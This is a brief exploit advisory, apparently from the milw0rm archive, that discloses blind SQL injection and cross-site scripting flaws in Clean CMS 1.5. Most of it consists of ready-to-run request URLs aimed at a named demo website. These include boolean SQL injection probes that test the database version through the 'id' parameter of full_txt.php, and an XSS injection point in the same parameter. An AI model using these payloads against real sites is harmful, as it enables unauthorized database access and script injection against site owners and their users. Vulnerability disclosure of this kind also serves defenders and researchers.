Clean CMS 1.5 (Blind SQL Injection/XSS) Multiple Remote Vulnerabilities

Clean CMS 1.5 (Blind SQL Injection/XSS) Multiple Remote Vulnerabilities

link: http://www.milw0rm.com/exploits/7228

Discovered By: ZoRLu

exp for demo:

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=4 ( true )

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=3 ( false )

XSS for demo:

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id=[XSS]